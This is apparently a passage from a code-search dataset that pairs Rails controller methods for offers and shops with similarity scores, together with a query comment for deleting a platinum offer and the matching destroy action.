format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @offering = Offering.find(params[:id])\n\n respond_to do |format|\n if @offering.update_attributes(params[:offering])\n format.html { redirect_to @offering, notice: 'Oferta atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @offering.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @market_offering.update(market_offering_params)\n format.html { redirect_to @market_offering, notice: 'Market offering was successfully updated.' }\n format.json { render :show, status: :ok, location: @market_offering }\n else\n format.html { render :edit }\n format.json { render json: @market_offering.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @base_offer.update(base_offer_params)\n format.html { redirect_to base_offers_url, notice: 'Base offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @base_offer }\n else\n @base_offers = BaseOffer.all.map{ |c| c = (c.id == @base_offer.id)? @base_offer:c}\n @base_offer = BaseOffer.new\n format.html { render :index }\n format.json { render json: @base_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offering.update(offering_params)\n format.html { redirect_to @offering, notice: 'La oferta de servicio ha sido actualizada correctamente.' }\n format.json { render :show, status: :ok, location: @offering }\n else\n format.html { render :edit }\n format.json { render json: @offering.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n ids = Offer.update_offer(offer_params, @paramss[0], @paramss[1])\n @offer.update(offer_params) unless ids\n respond_to do |format|\n if ids\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n format.html { redirect_to @offer, notice: '¡El Voucher se ha canjeado con éxito!' }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer_apartment.update(offer_apartment_params)\n format.html { redirect_to @offer_apartment, notice: 'Offer apartment was successfully updated.' }\n format.json { render :show, status: :ok, location: @offer_apartment }\n else\n format.html { render :edit }\n format.json { render json: @offer_apartment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @general_offer.update(general_offer_params)\n format.html { redirect_to @general_offer, notice: 'General offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @general_offer }\n else\n format.html { render :edit }\n format.json { render json: @general_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_offer\n if params[:id] == 'new'\n render status: 404\n return\n end\n offer = Offer.find(params[:id])\n @offer = offer\n end", "def update\n @public_offer = PublicOffer.find(params[:id])\n\n respond_to do |format|\n if @public_offer.update_attributes(params[:public_offer])\n format.html { redirect_to club_public_offers_path(@club), notice: 'Das Angebot wurde aktualisiert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_special_offer\n @special_offer = SpecialOffer.find(params[:id])\n end", "def update\n respond_to do |format|\n if @serv_offer.update(serv_offer_params)\n format.html { redirect_to @serv_offer, notice: 'Serv offer was successfully updated.' }\n format.json { \n render json: {status:0, msg:\"success\"}\n }\n else\n format.html { render :edit }\n format.json {\n render json: { status: -1 }\n }\n end\n end\n end", "def update\n @offer = @offer_article.offer\n respond_to do |format|\n if @offer_article.update(offer_article_params)\n format.html { redirect_to @offer, notice: 'Offer article was successfully updated.' }\n format.json { render :show, status: :ok, location: @offer_article }\n else\n format.html { render :edit }\n format.json { render json: @offer_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @shop_platinum_offer = Shop::PlatinumOffer.find(params[:id])\n @shop_platinum_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_platinum_offers_url }\n format.json { head :ok }\n end\n end", "def index\n @shop_platinum_offers = Shop::PlatinumOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_platinum_offers }\n end\n end", "def update\n respond_to do |format|\n if @point_of_sale.update(point_of_sale_params)\n format.json { render :show, status: :ok, location: @point_of_sale }\n else\n format.json { render json: @point_of_sale.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n flash[:notice] = 'Se ha modificado su oferta'\n format.html { redirect_to @offer }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @offer = Offer.find(params[:id])\n offer = params[:offer]\n unless offer.nil?\n @offer.prizes_attributes = offer[:prizes_attributes] unless offer[:prizes_attributes].nil?\n @offer.name = offer[:name]\n @offer.start_date = offer[:start_date]\n @offer.end_date = offer[:end_date]\n @offer.created_at = Time.now\n @offer.updated_at = Time.now\n @offer.photo = offer[:photo]\n @offer.branch = Branch.find(offer[:branch_id])\n @offer.description = offer[:description]\n @offer.start_date = @offer.start_date.change({:hour => (offer[:start_hour]).to_i})\n @offer.end_date = @offer.end_date.change({:hour => (offer[:end_hour]).to_i})\n respond_to do |format|\n if @offer.save\n title_ids = params[:title_ids]\n unless title_ids.nil?\n ot = OffersTitles.find_all_by_offer_id(@offer.id)\n ot.each do |o|\n o.destroy\n end\n title_ids.each do |id|\n# unless @offer.prefer(Title.find(id))\n offers_titles = OffersTitles.new\n offers_titles.offer_id = @offer.id\n offers_titles.title_id = id\n offers_titles.save\n # end\n end\n end\n format.html { redirect_to @offer, notice: 'La oferta fue actualizada correctamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end\n if @offer.nil?\n format.html { redirect_to @offer }\n format.json { head :no_content }\n end\n end", "def set_serv_offer\n @serv_offer = Good.find(params[:id])\n end", "def update\n @offer = Offer.find(params[:id])\n if user_owns_offer?(@offer)\n respond_to do |format|\n if @offer.update_attributes(params[:offer])\n format.html { redirect_to @offer, notice: 'Offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n else\n format.html {redirect_to :status => 422}\n end \n end", "def show\n @shop_platinum_offer = Shop::PlatinumOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_platinum_offer }\n end\n end", "def offers \n @host.offers.create(offer_params) if request.post?\n @offers = @host.offers\n end", "def update\n respond_to do |format|\n if @auto_offer.update(auto_offer_params)\n format.html { redirect_to @auto_offer, notice: 'Auto offer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @auto_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def update\n @offering = Offering.find(params[:id])\n\n respond_to do |format|\n if @offering.update_attributes(params[:offering])\n flash[:notice] = 'Offering was successfully updated.'\n format.html { redirect_to(admin_offering_path(@offering)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @offering.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_offer\n @offer = Offer.find(params[:id].to_i)\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def manage_offer\n @offer = @host.offers.find(params[:id])\n end", "def update\n if @offer.update(offer_params)\n redirect_to @offer, notice: 'Offer was successfully updated.'\n else\n render :edit\n end\n end", "def create\n @offer = Offer.new(offers_params)\n\n respond_to do |format|\n if @offer.save\n format.jsonapi { render jsonapi: @offer, status: :created }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @shop_special_offers_transaction = Shop::SpecialOffersTransaction.find(params[:id])\n\n respond_to do |format|\n if @shop_special_offers_transaction.update_attributes(params[:shop_special_offers_transaction])\n format.html { redirect_to @shop_special_offers_transaction, notice: 'Special offers transaction was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_special_offers_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_offer\n @offer = Offer.find_by_id(params[:id])\n end", "def edit\n @offer = Offer.find(params[:id])\n end", "def update\n respond_to do |format|\n if @service_offering.update(service_offering_params)\n format.html { redirect_to @service_offering, notice: 'Service offering was successfully updated.' }\n format.json { render :show, status: :ok, location: @service_offering }\n else\n format.html { render :edit }\n format.json { render json: @service_offering.errors, status: :unprocessable_entity }\n end\n end\n end", "def change_object_offers\n @object = params[:class_name].constantize.find(params[:id])\n @offer = @host.offers.find(params[:offer_id])\n @offer_for = params[:class_name].pluralize.downcase\n if request.post?\n @object.offers = []\n @object.offers << Offer.find(params[:offers])\n end\n end", "def create\n @offering = current_user.offerings.new(offering_params)\n @offering.status = 1\n respond_to do |format|\n if @offering.save\n format.html { redirect_to @offering, notice: 'La oferta de servicio ha sido creada correctamente.' }\n format.json { render :show, status: :created, location: @offering }\n else\n format.html { render :new }\n format.json { render json: @offering.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @offering ||= Offering.find(params[:id])\n\n respond_to do |format|\n if @offering.update_attributes(params[:offering])\n flash[:notice] = 'Offering was successfully updated.'\n format.html { redirect_to(@offering) }\n format.xml { head :ok }\n format.js { render :text => \"Saved at #{Time.now.to_s(:time12)}.\" }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @offering.errors, :status => :unprocessable_entity }\n format.js { render :text => \"Could not save offering.\", :status => 409 }\n end\n end\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n format.html { redirect_to @offer.user, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @offer }\n else\n format.html { render :edit }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @shop_point.update(shop_point_params)\n format.html { redirect_to @shop_point, notice: 'Shop point was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop_point }\n else\n format.html { render :edit }\n format.json { render json: @shop_point.errors, status: :unprocessable_entity }\n end\n end\n end", "def offer_params\n params.require(:offer).permit(:description, :price, :user_id, :listing_id, :status)\n end", "def update\n @accepted_offer = AcceptedOffer.find(params[:id])\n\n respond_to do |format|\n if @accepted_offer.update_attributes(params[:accepted_offer])\n format.html { redirect_to @accepted_offer, notice: 'Accepted offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @accepted_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n @preference = get_preference()\n\n @preference.shop_url = session[:shopify].shop.domain\n\n respond_to do |format|\n @preference.attributes = params[:preference]\n @carrier_preference = get_carrier_preference(@preference.carrier)\n \n \n #get free shipping option\n if @preference.free_shipping_by_collection\n colls = ShopifyAPI::CustomCollection.find(:all)\n\n colls.each do |col|\n free_shipping = (params[\"#{col.title}\"] == \"1\")\n \n update_coll_metafield(col, free_shipping)\n end\n\n colls = ShopifyAPI::SmartCollection.find(:all)\n colls.each do |col|\n free_shipping = params[\"#{col.title}\"] == \"1\"\n \n update_coll_metafield(col, free_shipping)\n end\n end\n\n installer_class = carrier_installer_class_for(@preference.carrier)\n installer = installer_class.new( session[:shopify].shop, @preference)\n installer.port = request.port if Rails.env.development?\n installer.configure(params)\n\n if @preference.save\n #save carrier preference\n unless params[:carrier_preference].nil?\n @carrier_preference.attributes = params[:carrier_preference] \n @carrier_preference.shop_url = @preference.shop_url\n \n @carrier_preference.save\n end\n installer.install\n\n format.html { redirect_to preferences_url, notice: 'Preference was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preference.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_item_value_twenty_four\n response_search = Partay.get('http://shoponline.tescolotus.com/api/v1/search/products?query=Sugar&page=1&sortBy=Relevance', :headers => {'Content-Type' => 'application/json', 'language' => 'en-gb', 'region' => 'TH', 'userId' => access_token})\n puts search_result=JSON(response_search['productItems'][0])\n puts productid =JSON(search_result)[\"product\"][\"id\"]\n items_json_responses = {'items' => [{'id'=>'6071448594','oldValue'=>0.0,'oldUnitChoice'=>'pcs','newUnitChoice'=>'pcs','newValue'=>24.0}]}.to_json\n puts items_json_responses\n response = Partay.put('http://shoponline.tescolotus.com/api/v1/trolley/items/', :headers => {'Content-Type' => 'application/json', 'language' => 'en-GB', 'region' => 'TH', 'userId' => access_token}, :body => items_json_responses)\n puts response\n end", "def update\n respond_to do |format|\n if @offer.update(offer_params)\n flash[:notice] = 'La Oferta ha sido modificada'\n format.html { redirect_to @offer }\n format.json { render :show, status: :ok, location: @offer }\n format.js { js_redirect_to(offer_path @offer)}\n else\n format.html { render :edit }\n format.js {}\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to admin_offers_path,\n notice: 'Offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors,\n status: :unprocessable_entity }\n end\n end\n end", "def edit\n @offer = InternshipOffer.find(params[:id])\n end", "def update\n @plato = Plato.find(params[:id])\n\n if @plato.update(plato_params)\n head :no_content\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @pol.update(pol_params)\n format.json { render :show, status: :ok, location: @pol }\n else\n format.json { render json: @pol.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @laptop.update(laptop_params)\n format.html { redirect_to admin_laptop_url(@laptop.id), notice: 'Laptop was successfully updated.' }\n format.json { render :show, status: :ok, location: @laptop }\n else\n format.html { render :edit }\n format.json { render json: @laptop.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @available_offers = args[:available_offers] if args.key?(:available_offers)\n @no_offer_reason = args[:no_offer_reason] if args.key?(:no_offer_reason)\n @response_metadata = args[:response_metadata] if args.key?(:response_metadata)\n end", "def create\n @shop_special_offer = Shop::SpecialOffer.new(params[:shop_special_offer])\n\n respond_to do |format|\n if @shop_special_offer.save\n format.html { redirect_to @shop_special_offer, notice: 'Special offer was successfully created.' }\n format.json { render json: @shop_special_offer, status: :created, location: @shop_special_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_special_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pplan.update(pplan_params)\n\n\n @sale = Sale.find_by(:id => @pplan.sale_id)\n @sale.update(:approve => nil)\n @pplan.update(:saledate => @sale.saledate, :selling_price => @sale.selling_price, :contact_id => @sale.contact_id, :batch_id => @sale.batch_id )\n\n\n format.html { redirect_to :back , notice: 'Pplan was successfully updated.' }\n format.json { head :no_content }\n\n\n else\n format.html { render action: 'edit' }\n format.json { render json: @pplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_offer\n @offer = Offer.find(params[:id])\n end", "def manage_offer_for\n @offer_for = params[:for]\n @offer = @host.offers.find(params[:id])\n if request.post?\n if params[:places].present?\n @offer.places = []\n @offer.places << Place.find(params[:places])\n elsif params[:experiences].present?\n @offer.experiences = []\n @offer.experiences << Experience.find(params[:experiences])\n end\n end\n end", "def update\n @job_offer = JobOffer.find(params[:id])\n\n respond_to do |format|\n if @job_offer.update_attributes(params[:job_offer])\n format.html { redirect_to job_offers_path(@job_offer), notice: 'Job offer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_offer.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.684222", "0.6832055", "0.6718058", "0.6693253", "0.6483262", "0.64796", "0.64436", "0.639746", "0.6366531", "0.6343687", "0.6343687", "0.63395923", "0.6336143", "0.62674385", "0.62674385", "0.6260467", "0.62132686", "0.62108546", "0.61963564", "0.61955994", "0.61944205", "0.6181013", "0.6158623", "0.6145704", "0.6123968", "0.61172", "0.6099181", "0.606137", "0.6041987", "0.6003475", "0.6001903", "0.5991129", "0.59869945", "0.5976366", "0.5972868", "0.59586847", "0.59542036", "0.595051", "0.5940176", "0.5939691", "0.593176", "0.5911777", "0.5909707", "0.59090906", "0.59012884", "0.58992624", "0.5895654", "0.58852535", "0.5867177", "0.5867177", "0.5867177", "0.5836807", "0.5819925", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58197033", "0.58168066", "0.58151484", "0.5810391", "0.5792787", "0.5788082", "0.57697594", "0.57509255", "0.57497275", "0.57471335", "0.5741891", "0.57393", "0.572611", "0.5718616", "0.5713307", "0.57097673", "0.5702818", "0.56999135", "0.56960607", "0.5688069", "0.568668", "0.5683975", "0.56836796", "0.56786484", "0.5673097", "0.5663741", "0.5655326", "0.5651135", "0.5647918" ]
0.7247974
0
DELETE /shop/platinum_offers/1 DELETE /shop/platinum_offers/1.json
def destroy @shop_platinum_offer = Shop::PlatinumOffer.find(params[:id]) @shop_platinum_offer.destroy respond_to do |format| format.html { redirect_to shop_platinum_offers_url } format.json { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @shop_special_offer = Shop::SpecialOffer.find(params[:id])\n @shop_special_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_special_offers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.jsonapi { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.jsonapi { head :no_content }\n end\n end", "def destroy\n @offer = Offer.find(params[:id])\n checkaccountobject(\"offers\",@offer)\n @offer.destroy\n\n respond_to do |format|\n format.html { redirect_to offers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @shop_resource_offer = Shop::ResourceOffer.find(params[:id])\n @shop_resource_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_resource_offers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @shop_bonus_offer = Shop::BonusOffer.find(params[:id])\n @shop_bonus_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_bonus_offers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @auto_offer.destroy\n respond_to do |format|\n format.html { redirect_to auto_offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_offers_url,\n notice: 'Offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @point_of_sale.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer = Offer.find(params[:id])\n @offer.destroy\n\n respond_to do |format|\n format.html { redirect_to offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer = Offer.find(params[:id])\n @offer.destroy\n\n respond_to do |format|\n format.html { redirect_to offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ms_offer = MsOffer.find(params[:id])\n @ms_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to ms_offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to site_offers_url, notice: 'offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @special_offer.destroy\n respond_to do |format|\n format.html { redirect_to special_offers_url, notice: 'Special offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer = Offer.find(params[:id])\n @offer.destroy\n \n respond_to do |format|\n format.html { redirect_to admins_offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @general_offer.destroy\n respond_to do |format|\n format.html { redirect_to general_offers_url, notice: 'General offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n\n head :no_content\n end", "def destroy\n @offer = Offer.find(params[:id])\n @offer.destroy\n\n respond_to do |format|\n format.html { redirect_to offers_path, notice: 'Oferta a fost stearsa cu success.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to offers_url, notice: 'Oferta eliminada.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to offers_url, notice: 'Su oferta ha sido eliminada.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offering.destroy\n respond_to do |format|\n format.html { redirect_to offerings_url, notice: 'Se ha eliminado la oferta de servicio.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to offers_url, notice: 'Oferta usunięta pomyślnie.' }\n format.json { head :no_content }\n end\n end", "def destroy\n Offer.destroy_offer(@paramss[0], @paramss[1])\n respond_to do |format|\n format.html { redirect_to offers_url, notice: 'Offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @base_offer.destroy\n respond_to do |format|\n format.html { redirect_to base_offers_url, notice: 'Base offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ecommerceplan = Ecommerceplan.find(params[:id])\n @ecommerceplan.destroy\n\n respond_to do |format|\n format.html { redirect_to ecommerceplans_url }\n format.json { head :ok }\n end\n end", "def destroy\n @offering = Offering.find(params[:id])\n @offering.destroy\n\n respond_to do |format|\n format.html { redirect_to offerings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to offers_url, notice: 'Offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to offers_url, notice: 'Offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to offers_url, notice: 'Offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n format.html { redirect_to offers_url, notice: 'Offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @offer\n\n @offer.destroy\n Offer.delay.reindex\n\n respond_to do |format|\n format.html { redirect_to offers_url, notice: 'Offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer.destroy\n respond_to do |format|\n flash[:notice] = 'Se ha eliminado exitosamente'\n format.html { redirect_to offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shop_special_offers_transaction = Shop::SpecialOffersTransaction.find(params[:id])\n @shop_special_offers_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_special_offers_transactions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @pol.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def deleteEntitySpecial_offer( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/special_offer\",params)\n end", "def destroy\n # @serv_offer.destroy\n @serv_offer.status = Const::GOODS_STATUS[:destroy]\n if @serv_offer.save\n respond_to do |format|\n # format.html { redirect_to serv_offers_url, notice: 'Serv offer was successfully destroyed.' }\n format.json {render json: {status:0, msg:\"success\"}}\n end\n else\n respond_to do |format|\n # format.html { redirect_to serv_offers_url, notice: 'Serv offer was successfully destroyed.' }\n format.json {render json: {status:-1, msg:\"fail\"}}\n end\n end\n\n end", "def destroy\n @local_offer = LocalOffer.find(params[:id])\n @local_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to(local_offers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @offering = Offering.find(params[:id])\n @offering.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_offerings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @sale_offer = SaleOffer.find(params[:id])\n\n respond_to do |format|\n if @sale_offer.destroy\n format.html { redirect_to sale_offers_url,\n notice: (crud_notice('destroyed', @sale_offer) + \"#{undo_link(@sale_offer)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to sale_offers_url, alert: \"#{@sale_offer.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @sale_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @store = Store.find(params[:id])\n #tib_res = Tibbr::ExternalResource.find_by_resource_key({:resource => {:key => \"ID_#{@store.id}\", :resource_type => \"ad:store\"}, :client_id => session[:app_id]})\n # tib_res.destroy\n @store.destroy\n \n \n\n respond_to do |format|\n format.html { redirect_to stores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plant.destroy\n respond_to do |format|\n format.html { redirect_to plants_url, notice: 'Your Swap was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offerte_regel.destroy\n respond_to do |format|\n format.html { redirect_to offerte_regels_url, notice: 'Offerte regel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @service_offering.destroy\n respond_to do |format|\n format.html { redirect_to service_offerings_url, notice: 'Service offering was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer_apartment.destroy\n respond_to do |format|\n format.html { redirect_to offer_apartments_url, notice: 'Offer apartment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @laptop.destroy\n respond_to do |format|\n format.html { redirect_to laptops_url }\n format.json { head :no_content }\n end\n end", "def delete\n sellID = params[:sell_id]\n\n uri = URI(\"http://107.170.7.58:4567/api/delete/sell\")\n parameters = {\"ext\" => \"json\", \"id\" => sellID}\n response = Net::HTTP.post_form(uri, parameters)\n list = JSON.parse(response.body)\n\n @response = list[0][\"kind\"]\n end", "def destroy\n @aid_offer.destroy\n respond_to do |format|\n format.html { redirect_to aid_offers_url, notice: 'Aid offer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @online_store = OnlineStore.find(params[:id])\n @online_store.destroy\n\n respond_to do |format|\n format.html { redirect_to online_stores_url }\n format.json { head :no_content }\n end\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def delete_special_offer(special_offer)\n delete \"special_offers/#{special_offer}\"\n end", "def destroy\n @job_offer = JobOffer.find(params[:id])\n @job_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to job_offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @market_offering.destroy\n respond_to do |format|\n format.html { redirect_to market_offerings_url, notice: 'Market offering was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @text_book_sale_offer.destroy\n respond_to do |format|\n format.html { redirect_to text_book_sale_offers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @accepted_offer = AcceptedOffer.find(params[:id])\n @accepted_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to accepted_offers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @poll = Poll.find_by_admin_key(params[:key])\n @poll.destroy\n\n respond_to do |format|\n format.html { redirect_to(polls_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @planets_exoplanet = Planets::Exoplanet.find(params[:id])\n @planets_exoplanet.destroy\n\n respond_to do |format|\n format.html { redirect_to planets_exoplanets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @product.destroy\n\n render json: @product, status: :ok#, location: @collection\n end", "def destroy\n @offer = Offer.find(params[:id])\n name = @offer.name\n @offer.destroy\n\n respond_to do |format|\n format.html { redirect_to users_offers_company_user_path , notice: name + ' se ha eliminado.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @credits_offer.destroy\n respond_to do |format|\n format.html { redirect_to admin_credits_offers_url, notice: 'CreditsOffer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n @shop_point.destroy\n respond_to do |format|\n format.html { redirect_to shop_points_url, notice: 'Shop point was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tx_land_grants_special_collection.destroy\n respond_to do |format|\n format.html { redirect_to tx_land_grants_special_collections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @opt10075.destroy\n respond_to do |format|\n format.html { redirect_to opt10075s_url, notice: 'Opt10075 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @offer_customer = OfferCustomer.find(params[:id])\n @offer_customer.destroy\n\n respond_to do |format|\n format.html { redirect_to offer_customers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @public_offer = 